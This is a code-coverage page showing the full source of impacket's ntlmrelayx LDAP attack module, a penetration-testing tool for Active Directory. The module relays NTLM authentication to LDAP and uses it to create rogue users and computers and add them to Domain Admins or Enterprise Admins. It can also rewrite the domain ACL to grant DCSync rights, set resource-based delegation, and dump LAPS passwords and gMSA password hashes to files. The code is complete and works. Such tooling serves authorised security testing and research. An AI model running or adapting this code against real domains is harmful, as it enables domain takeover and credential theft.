Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py: 8%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py : 8%

## 496 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# LDAP Attack Class

8#

9# Authors:

10# Alberto Solino (@agsolino)

11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)

12#

13# Description:

14# LDAP(s) protocol relay attack

15#

16# ToDo:

17#

18 import _thread

19 import random

20 import string

21 import json

22 import datetime

23 import binascii

24 import codecs

25 import re

26 import ldap3

27 import ldapdomaindump

28 from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM

29 from ldap3.utils.conv import escape_filter_chars

30 import os

31 from Cryptodome.Hash import MD4

32

33 from impacket import LOG

34 from impacket.examples.ldap_shell import LdapShell

35 from impacket.examples.ntlmrelayx.attacks import ProtocolAttack

36 from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell

37 from impacket.ldap import ldaptypes

38 from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP

39 from impacket.uuid import string_to_bin, bin_to_string

40 from impacket.structure import Structure, hexdump

41

42# This is new from ldap3 v2.5

43 try:

44 from ldap3.protocol.microsoft import security_descriptor_control

45 except ImportError:

46 # We use a print statement because the logger is not initialized yet here

47 print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \

48 Please update with pip install ldap3 --upgrade')

49 PROTOCOL_ATTACK_CLASS = "LDAPAttack"

50

51# Define global variables to prevent dumping the domain twice

52# and to prevent privilege escalating more than once

53 dumpedDomain = False

54 alreadyEscalated = False

55 alreadyAddedComputer = False

56 delegatePerformed = []

57

58#gMSA structure

59 class MSDS_MANAGEDPASSWORD_BLOB(Structure):

60 structure = (

61 ('Version','<H'),

62 ('Reserved','<H'),

63 ('Length','<L'),

64 ('CurrentPasswordOffset','<H'),

65 ('PreviousPasswordOffset','<H'),

66 ('QueryPasswordIntervalOffset','<H'),

67 ('UnchangedPasswordIntervalOffset','<H'),

68 ('CurrentPassword',':'),

69 ('PreviousPassword',':'),

70 #('AlignmentPadding',':'),

71 ('QueryPasswordInterval',':'),

72 ('UnchangedPasswordInterval',':'),

73 )

74

75 def __init__(self, data = None):

76 Structure.__init__(self, data = data)

77

78 def fromString(self, data):

79 Structure.fromString(self,data)

80

81 if self['PreviousPasswordOffset'] == 0:

82 endData = self['QueryPasswordIntervalOffset']

83 else:

84 endData = self['PreviousPasswordOffset']

85

86 self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]

87 if self['PreviousPasswordOffset'] != 0:

88 self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]

89

90 self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]

91 self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]

92

93

94 class LDAPAttack(ProtocolAttack):

95 """

96 This is the default LDAP attack. It checks the privileges of the relayed account

97 and performs a domaindump if the user does not have administrative privileges.

98 If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.

99 """

100 PLUGIN_NAMES = ["LDAP", "LDAPS"]

101

102 # ACL constants

103 # When reading, these constants are actually represented by

104 # the following for Active Directory specific Access Masks

105 # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2

106 GENERIC_READ = 0x00020094

107 GENERIC_WRITE = 0x00020028

108 GENERIC_EXECUTE = 0x00020004

109 GENERIC_ALL = 0x000F01FF

110

111 def __init__(self, config, LDAPClient, username):

112 self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer

113 ProtocolAttack.__init__(self, config, LDAPClient, username)

114 if self.config.interactive:

115 # Launch locally listening interactive shell.

116 self.tcp_shell = TcpShell()

117

118 def addComputer(self, parent, domainDumper):

119 """

120 Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can

121 also be an OU or other container where we have write privileges

122 """

123 global alreadyAddedComputer

124 if alreadyAddedComputer:

125 LOG.error('New computer already added. Refusing to add another')

126 return

127

128 # Random password

129 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

130

131 # Get the domain we are in

132 domaindn = domainDumper.root

133 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

134

135 computerName = self.computerName

136 if not computerName:

137 # Random computername

138 newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()

139 else:

140 newComputer = computerName if computerName.endswith('$') else computerName + '$'

141

142 computerHostname = newComputer[:-1]

143 newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')

144

145 # Default computer SPNs

146 spns = [

147 'HOST/%s' % computerHostname,

148 'HOST/%s.%s' % (computerHostname, domain),

149 'RestrictedKrbHost/%s' % computerHostname,

150 'RestrictedKrbHost/%s.%s' % (computerHostname, domain),

151 ]

152 ucd = {

153 'dnsHostName': '%s.%s' % (computerHostname, domain),

154 'userAccountControl': 4096,

155 'servicePrincipalName': spns,

156 'sAMAccountName': newComputer,

157 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')

158 }

159 LOG.debug('New computer info %s', ucd)

160 LOG.info('Attempting to create computer in: %s', parent)

161 res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)

162 if not res:

163 # Adding computers requires LDAPS

164 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:

165 LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')

166 else:

167 LOG.error('Failed to add a new computer: %s' % str(self.client.result))

168 return False

169 else:

170 LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))

171 alreadyAddedComputer = True

172 # Return the SAM name

173 return newComputer

174

175 def addUser(self, parent, domainDumper):

176 """

177 Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can

178 also be an OU or other container where we have write privileges

179 """

180 global alreadyEscalated

181 if alreadyEscalated:

182 LOG.error('New user already added. Refusing to add another')

183 return

184

185 # Random password

186 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

187

188 # Random username

189 newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))

190 newUserDn = 'CN=%s,%s' % (newUser, parent)

191 ucd = {

192 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,

193 'distinguishedName': newUserDn,

194 'cn': newUser,

195 'sn': newUser,

196 'givenName': newUser,

197 'displayName': newUser,

198 'name': newUser,

199 'userAccountControl': 512,

200 'accountExpires': '0',

201 'sAMAccountName': newUser,

202 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')

203 }

204 LOG.info('Attempting to create user in: %s', parent)

205 res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)

206 if not res:

207 # Adding users requires LDAPS

208 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:

209 LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')

210 else:

211 LOG.error('Failed to add a new user: %s' % str(self.client.result))

212 return False

213 else:

214 LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))

215

216 # Return the DN

217 return newUserDn

218

219 def addUserToGroup(self, userDn, domainDumper, groupDn):

220 global alreadyEscalated

221 # For display only

222 groupName = groupDn.split(',')[0][3:]

223 userName = userDn.split(',')[0][3:]

224 # Now add the user as a member to this group

225 res = self.client.modify(groupDn, {

226 'member': [(ldap3.MODIFY_ADD, [userDn])]})

227 if res:

228 LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))

229 LOG.info('Privilege escalation succesful, shutting down...')

230 alreadyEscalated = True

231 _thread.interrupt_main()

232 else:

233 LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))

234

235 def delegateAttack(self, usersam, targetsam, domainDumper, sid):

236 global delegatePerformed

237 if targetsam in delegatePerformed:

238 LOG.info('Delegate attack already performed for this computer, skipping')

239 return

240

241 if not usersam:

242 usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)

243 self.config.escalateuser = usersam

244

245 if not sid:

246 # Get escalate user sid

247 result = self.getUserInfo(domainDumper, usersam)

248 if not result:

249 LOG.error('User to escalate does not exist!')

250 return

251 escalate_sid = str(result[1])

252 else:

253 escalate_sid = usersam

254

255 # Get target computer DN

256 result = self.getUserInfo(domainDumper, targetsam)

257 if not result:

258 LOG.error('Computer to modify does not exist! (wrong domain?)')

259 return

260 target_dn = result[0]

261

262 self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])

263 targetuser = None

264 for entry in self.client.response:

265 if entry['type'] != 'searchResEntry':

266 continue

267 targetuser = entry

268 if not targetuser:

269 LOG.error('Could not query target user properties')

270 return

271 try:

272 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])

273 LOG.debug('Currently allowed sids:')

274 for ace in sd['Dacl'].aces:

275 LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())

276 except IndexError:

277 # Create DACL manually

278 sd = create_empty_sd()

279 sd['Dacl'].aces.append(create_allow_ace(escalate_sid))

280 self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})

281 if self.client.result['result'] == 0:

282 LOG.info('Delegation rights modified succesfully!')

283 LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)

284 delegatePerformed.append(targetsam)

285 else:

286 if self.client.result['result'] == 50:

287 LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

288 elif self.client.result['result'] == 19:

289 LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

290 else:

291 LOG.error('The server returned an error: %s', self.client.result['message'])

292 return

293

294 def aclAttack(self, userDn, domainDumper):

295 global alreadyEscalated

296 if alreadyEscalated:

297 LOG.error('ACL attack already performed. Refusing to continue')

298 return

299

300 # Dictionary for restore data

301 restoredata = {}

302

303 # Query for the sid of our user

304 self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])

305 entry = self.client.entries[0]

306 username = entry['sAMAccountName'].value

307 usersid = entry['objectSid'].value

308 LOG.debug('Found sid for user %s: %s' % (username, usersid))

309

310 # Set SD flags to only query for DACL

311 controls = security_descriptor_control(sdflags=0x04)

312 alreadyEscalated = True

313

314 LOG.info('Querying domain security descriptor')

315 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

316 entry = self.client.entries[0]

317 secDescData = entry['nTSecurityDescriptor'].raw_values[0]

318 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

319

320 # Save old SD for restore purposes

321 restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')

322 restoredata['target_sid'] = usersid

323

324 secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))

325 secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))

326 dn = entry.entry_dn

327 data = secDesc.getData()

328 self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)

329 if self.client.result['result'] == 0:

330 alreadyEscalated = True

331 LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)

332 LOG.info('Try using DCSync with secretsdump.py and this user :)')

333

334 # Query the SD again to see what AD made of it

335 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

336 entry = self.client.entries[0]

337 newSD = entry['nTSecurityDescriptor'].raw_values[0]

338 # Save this to restore the SD later on

339 restoredata['target_dn'] = dn

340 restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')

341 restoredata['success'] = True

342 self.writeRestoreData(restoredata, dn)

343 return True

344 else:

345 LOG.error('Error when updating ACL: %s' % self.client.result)

346 return False

347

348 def writeRestoreData(self, restoredata, domaindn):

349 output = {}

350 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

351 output['config'] = {'server':self.client.server.host,'domain':domain}

352 output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]

353 now = datetime.datetime.now()

354 filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")

355 # Save the json to file

356 with codecs.open(filename, 'w', 'utf-8') as outfile:

357 json.dump(output, outfile)

358 LOG.info('Saved restore state to %s', filename)

359

360 def validatePrivileges(self, uname, domainDumper):

361 # Find the user's DN

362 membersids = []

363 sidmapping = {}

364 privs = {

365 'create': False, # Whether we can create users

366 'createIn': None, # Where we can create users

367 'escalateViaGroup': False, # Whether we can escalate via a group

368 'escalateGroup': None, # The group we can escalate via

369 'aclEscalate': False, # Whether we can escalate via ACL on the domain object

370 'aclEscalateIn': None # The object which ACL we can edit

371 }

372 self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])

373 user = self.client.entries[0]

374 usersid = user['objectSid'].value

375 sidmapping[usersid] = user.entry_dn

376 membersids.append(usersid)

377 # The groups the user is a member of

378 self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])

379 LOG.debug('User is a member of: %s' % self.client.entries)

380 for entry in self.client.entries:

381 sidmapping[entry['objectSid'].value] = entry.entry_dn

382 membersids.append(entry['objectSid'].value)

383 # Also search by primarygroupid

384 # First get domain SID

385 self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])

386 domainsid = self.client.entries[0]['objectSid'].value

387 gid = user['primaryGroupId'].value

388 # Now search for this group by SID

389 self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])

390 group = self.client.entries[0]

391 LOG.debug('User is a member of: %s' % self.client.entries)

392 # Add the group sid of the primary group to the list

393 sidmapping[group['objectSid'].value] = group.entry_dn

394 membersids.append(group['objectSid'].value)

395 controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl

396 # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs

397 entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)

398 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

399 # Also get the privileges on the default Users container

400 entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)

401 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

402

403 # Interesting groups we'd like to be a member of, in order of preference

404 interestingGroups = [

405 '%s-%d' % (domainsid, 519), # Enterprise admins

406 '%s-%d' % (domainsid, 512), # Domain admins

407 'S-1-5-32-544', # Built-in Administrators

408 'S-1-5-32-551', # Backup operators

409 'S-1-5-32-548', # Account operators

410 ]

411 privs['escalateViaGroup'] = False

412 for group in interestingGroups:

413 self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)

414 groupdata = self.client.response

415 self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)

416 if privs['escalateViaGroup']:

417 # We have a result - exit the loop

418 break

419 return (usersid, privs)

420

421 def getUserInfo(self, domainDumper, samname):

422 entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])

423 try:

424 dn = self.client.entries[0].entry_dn

425 sid = self.client.entries[0]['objectSid']

426 return (dn, sid)

427 except IndexError:

428 LOG.error('User not found in LDAP: %s' % samname)

429 return False

430

431 def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):

432 standardrights = [

433 self.GENERIC_ALL,

434 self.GENERIC_WRITE,

435 self.GENERIC_READ,

436 ACCESS_MASK.WRITE_DACL

437 ]

438 for entry in entries:

439 if entry['type'] != 'searchResEntry':

440 continue

441 dn = entry['dn']

442 try:

443 sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]

444 except IndexError:

445 # We don't have the privileges to read this security descriptor

446 LOG.debug('Access to security descriptor was denied for DN %s', dn)

447 continue

448 hasFullControl = False

449 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()

450 secDesc.fromString(sdData)

451 if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:

452 sid = secDesc['OwnerSid'].formatCanonical()

453 LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))

454 hasFullControl = True

455 # Iterate over all the ACEs

456 for ace in secDesc['Dacl'].aces:

457 sid = ace['Ace']['Sid'].formatCanonical()

458 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:

459 continue

460 if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):

461 # ACE is set on this object, but only inherited, so not applicable to us

462 continue

463

464 # Check if the ACE has restrictions on object type (inherited case)

465 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \

466 and ace.hasFlag(ACE.INHERITED_ACE) \

467 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):

468 # Verify if the ACE applies to this object type

469 inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()

470 if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):

471 continue

472 # Check for non-extended rights that may not apply to us

473 if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):

474 # Check if this applies to our objecttype

475 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):

476 objectType = bin_to_string(ace['Ace']['ObjectType']).lower()

477 if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):

478 # LOG.debug('ACE does not apply, only to %s', objectType)

479 continue

480 if sid in membersids:

481 # Generic all

482 if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):

483 ace.dump()

484 LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))

485 hasFullControl = True

486 if can_create_users(ace) or hasFullControl:

487 if not hasFullControl:

488 LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))

489 if dn == 'CN=Users,%s' % domainDumper.root:

490 # We can create users in the default container, this is preferred

491 privs['create'] = True

492 privs['createIn'] = dn

493 else:

494 # Could be a different OU where we have access

495 # store it until we find a better place

496 if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:

497 privs['create'] = True

498 privs['createIn'] = dn

499 if can_add_member(ace) or hasFullControl:

500 if b'group' in entry['raw_attributes']['objectClass']:

501 # We can add members to a group

502 if not hasFullControl:

503 LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))

504 privs['escalateViaGroup'] = True

505 privs['escalateGroup'] = dn

506 if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:

507 # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to

508 # a property, which is both weird and useless, so we skip it

509 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \

510 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):

511 # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')

512 continue

513 if not hasFullControl:

514 LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))

515 # We can modify the domain Dacl

516 if b'domain' in entry['raw_attributes']['objectClass']:

517 privs['aclEscalate'] = True

518 privs['aclEscalateIn'] = dn

519

520 @staticmethod

521 def aceApplies(ace_guid, object_class):

522 '''

523 Checks if an ACE applies to this object (based on object classes).

524 Note that this function assumes you already verified that InheritedObjectType is set (via the flag).

525 If this is not set, the ACE applies to all object types.

526 '''

527 try:

528 our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]

529 except KeyError:

530 return False

531 if ace_guid == our_ace_guid:

532 return True

533 # If none of these match, the ACE does not apply to this object

534 return False

535

536

537 def run(self):

538 #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')

539 #print self.client.entries

540 global dumpedDomain

541 # Set up a default config

542 domainDumpConfig = ldapdomaindump.domainDumpConfig()

543

544 # Change the output directory to configured rootdir

545 domainDumpConfig.basepath = self.config.lootdir

546

547 # Create new dumper object

548 domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)

549

550 if self.config.interactive:

551 if self.tcp_shell is not None:

552 LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)

553 # Start listening and launch interactive shell.

554 self.tcp_shell.listen()

555 ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)

556 ldap_shell.cmdloop()

557 return

558

559 # If specified validate the user's privileges. This might take a while on large domains but will

560 # identify the proper containers for escalating via the different techniques.

561 if self.config.validateprivs:

562 LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')

563 userSid, privs = self.validatePrivileges(self.username, domainDumper)

564 if privs['create']:

565 LOG.info('User privileges found: Create user')

566 if privs['escalateViaGroup']:

567 name = privs['escalateGroup'].split(',')[0][3:]

568 LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)

569 if privs['aclEscalate']:

570 LOG.info('User privileges found: Modifying domain ACL')

571

572 # If validation of privileges is not desired, we assumed that the user has permissions to escalate

573 # an existing user via ACL attacks.

574 else:

575 LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')

576 privs = dict()

577 privs['create'] = False

578 privs['aclEscalate'] = True

579 privs['escalateViaGroup'] = False

580

581 # We prefer ACL escalation since it is more quiet

582 if self.config.aclattack and privs['aclEscalate']:

583 LOG.debug('Performing ACL attack')

584 if self.config.escalateuser:

585 # We can escalate an existing user

586 result = self.getUserInfo(domainDumper, self.config.escalateuser)

587 # Unless that account does not exist of course

588 if not result:

589 LOG.error('Unable to escalate without a valid user.')

590 else:

591 userDn, userSid = result

592 # Perform the ACL attack

593 self.aclAttack(userDn, domainDumper)

594 elif privs['create']:

595 # Create a nice shiny new user for the escalation

596 userDn = self.addUser(privs['createIn'], domainDumper)

597 if not userDn:

598 LOG.error('Unable to escalate without a valid user.')

599 # Perform the ACL attack

600 else:

601 self.aclAttack(userDn, domainDumper)

602 else:

603 LOG.error('Cannot perform ACL escalation because we do not have create user '\

604 'privileges. Specify a user to assign privileges to with --escalate-user')

605

606 # If we can't ACL escalate, try adding us to a privileged group

607 if self.config.addda and privs['escalateViaGroup']:

608 LOG.debug('Performing Group attack')

609 if self.config.escalateuser:

610 # We can escalate an existing user

611 result = self.getUserInfo(domainDumper, self.config.escalateuser)

612 # Unless that account does not exist of course

613 if not result:

614 LOG.error('Unable to escalate without a valid user.')

615 # Perform the Group attack

616 else:

617 userDn, userSid = result

618 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])

619

620 elif privs['create']:

621 # Create a nice shiny new user for the escalation

622 userDn = self.addUser(privs['createIn'], domainDumper)

623 if not userDn:

624 LOG.error('Unable to escalate without a valid user, aborting.')

625 # Perform the Group attack

626 else:

627 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])

628

629 else:

630 LOG.error('Cannot perform ACL escalation because we do not have create user '\

631 'privileges. Specify a user to assign privileges to with --escalate-user')

632

633 # Dump LAPS Passwords

634 if self.config.dumplaps:

635 LOG.info("Attempting to dump LAPS passwords")

636

637 success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd'])

638

639 if success:

640

641 fd = None

642 filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999))

643 count = 0

644

645 for entry in self.client.response:

646 try:

647 dn = "DN:" + entry['attributes']['distinguishedname']

648 passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd']

649

650 if fd is None:

651 fd = open(filename, "a+")

652

653 count += 1

654

655 LOG.debug(dn)

656 LOG.debug(passwd)

657

658 fd.write(dn)

659 fd.write("\n")

660 fd.write(passwd)

661 fd.write("\n")

662

663 except:

664 continue

665

666 if fd is None:

667 LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username)

668 else:

669 LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username))

670 fd.close()

671

672 #Dump gMSA Passwords

673 if self.config.dumpgmsa:

674 LOG.info("Attempting to dump gMSA passwords")

675 success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])

676 if success:

677 fd = None

678 filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999))

679 count = 0

680 for entry in self.client.response:

681 try:

682 sam = entry['attributes']['sAMAccountName']

683 data = entry['attributes']['msDS-ManagedPassword']

684 blob = MSDS_MANAGEDPASSWORD_BLOB()

685 blob.fromString(data)

686 hash = MD4.new ()

687 hash.update (blob['CurrentPassword'][:-2])

688 passwd = binascii.hexlify(hash.digest()).decode("utf-8")

689 userpass = sam + ':::' + passwd

690 LOG.info(userpass)

691 count += 1

692 if fd is None:

693 fd = open(filename, "a+")

694 fd.write(userpass)

695 fd.write("\n")

696 except:

697 continue

698 if fd is None:

699 LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username)

700 else:

701 LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username))

702 fd.close()

703

704 # Perform the Delegate attack if it is enabled and we relayed a computer account

705 if self.config.delegateaccess and self.username[-1] == '$':

706 self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)

707 return

708

709 # Add a new computer if that is requested

710 # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota

711 if self.config.addcomputer:

712 self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects'])

713 # Computer well-known GUID

714 # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen

715 computerscontainer = [

716 entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"]

717 if b"AA312825768811D1ADED00C04FD8D5CD" in entry

718 ][0]

719 LOG.debug("Computer container is {}".format(computerscontainer))

720 self.addComputer(computerscontainer, domainDumper)

721 return

722

723 # Last attack, dump the domain if no special privileges are present

724 if not dumpedDomain and self.config.dumpdomain:

725 # Do this before the dump is complete because of the time this can take

726 dumpedDomain = True

727 LOG.info('Dumping domain info for first time')

728 domainDumper.domainDump()

729 LOG.info('Domain info dumped into lootdir!')

730

731# Create an object ACE with the specified privguid and our sid

732 def create_object_ace(privguid, sid):

733 nace = ldaptypes.ACE()

734 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE

735 nace['AceFlags'] = 0x00

736 acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()

737 acedata['Mask'] = ldaptypes.ACCESS_MASK()

738 acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS

739 acedata['ObjectType'] = string_to_bin(privguid)

740 acedata['InheritedObjectType'] = b''

741 acedata['Sid'] = ldaptypes.LDAP_SID()

742 acedata['Sid'].fromCanonical(sid)

743 assert sid == acedata['Sid'].formatCanonical()

744 acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT

745 nace['Ace'] = acedata

746 return nace

747

748# Create an ALLOW ACE with the specified sid

749 def create_allow_ace(sid):

750 nace = ldaptypes.ACE()

751 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE

752 nace['AceFlags'] = 0x00

753 acedata = ldaptypes.ACCESS_ALLOWED_ACE()

754 acedata['Mask'] = ldaptypes.ACCESS_MASK()

755 acedata['Mask']['Mask'] = 983551 # Full control

756 acedata['Sid'] = ldaptypes.LDAP_SID()

757 acedata['Sid'].fromCanonical(sid)

758 nace['Ace'] = acedata

759 return nace

760

